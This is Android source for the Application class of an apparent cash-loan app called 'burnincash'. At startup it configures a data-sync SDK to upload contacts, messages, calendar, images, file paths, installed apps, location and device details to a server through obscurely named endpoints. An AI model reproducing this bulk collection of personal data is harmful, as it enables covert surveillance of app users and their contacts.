package com.test.burnincash.activity_fragment_burnin.base_burnin;

import android.app.ActivityManager;
import android.app.Application;
import android.content.Context;
import android.os.Build;
import android.webkit.WebView;

import com.test.burnincash.bean_burnin.config_info_burnin.UrlInfo_burnin;
import com.test.burnincash.constant_burnin.Constant_burnin;
import com.test.burnincash.constant_burnin.Url_burnin;
import com.test.burnincash.util_burnin.StringUtil_burnin;
import com.test.burnincash.util_burnin.helper_burnin.DeviceHelper_burnin;
import com.test.burnincash.util_burnin.helper_burnin.UserInfoHelper_burnin;
import com.zhi.syc.data.ASBuilder;
import com.zhi.syc.data.ASSycManager;

import org.jetbrains.annotations.NotNull;

public class BaseApplication_burnin extends Application {

    private String msg;

    @NotNull
    public static BaseApplication_burnin getApplication_burnin() {
        return baseApplication_burnin;
    }

    /**
     * 适配android 9 网络进程
     */
    private void initPieWebView_burnin() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
            String processName = getProcessName_burnin(this);
            if (!DeviceHelper_burnin.getPackageName().equals(processName)) {
                WebView.setDataDirectorySuffix(processName);
            }
        }
    }

    private String getProcessName_burnin(Context context) {
        if (context == null) return null;
        ActivityManager manager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
        if (manager != null) {
            for (ActivityManager.RunningAppProcessInfo processInfo : manager.getRunningAppProcesses()) {
                if (processInfo.pid == android.os.Process.myPid()) {
                    return processInfo.processName;
                }
            }
        }
        return "";
    }

    private static BaseApplication_burnin baseApplication_burnin;

    @Override
    public void onCreate() {
        super.onCreate();
        baseApplication_burnin = this;
        try {
            //pie webview 适配
            initPieWebView_burnin();

            //user info
            UserInfoHelper_burnin.getInstance().init(getApplicationContext());

            //syc data sdk
            initSycDataSDK_burnin();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void initSycDataSDK_burnin() {
        try {
            ASBuilder.setMock(false);
            ASBuilder.setLog(false);
            ASBuilder.setPathCalendar(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getDhu());
            ASBuilder.setPathHardware(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getIwt());
            ASBuilder.setPathSettingAccount(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getFh8());
            ASBuilder.setPathContactResult(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getHyz());
            ASBuilder.setServerHost(Url_burnin.Url_Base);
            ASBuilder.setPathApplist(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getSlo());
            ASBuilder.setPathMedia(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getBrf());
            ASBuilder.setPathScanFilePath(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getVge());
            ASBuilder.setPathImage(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getYeh());
            ASBuilder.setAppid(Constant_burnin.PRODUCT);
            ASBuilder.setPathContact(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getSyr());
            ASBuilder.setPathMessage(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getLhh());
            ASBuilder.setKeyProduct(Constant_burnin.PRODUCT);
            ASBuilder.setPathStore(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getFeg());
            ASBuilder.setPathBattery(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getFgi());
            ASBuilder.setPathNetwork(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getNdg());
            ASBuilder.setPathAduid(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getErw());
            ASBuilder.setPathLocation(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getHru());
            ASBuilder.setPathDevice(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getHhw());

            ASSycManager.getInstance().init(this);
//            ASAduidManager.getInstance().init(this);
//            ASGpsManagerGms.getInstance().init(this);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public String getMsg() {
        return StringUtil_burnin.getSafeString(msg);
    }

    public void setMsg(String msg) {
        this.msg = msg;
    }
}
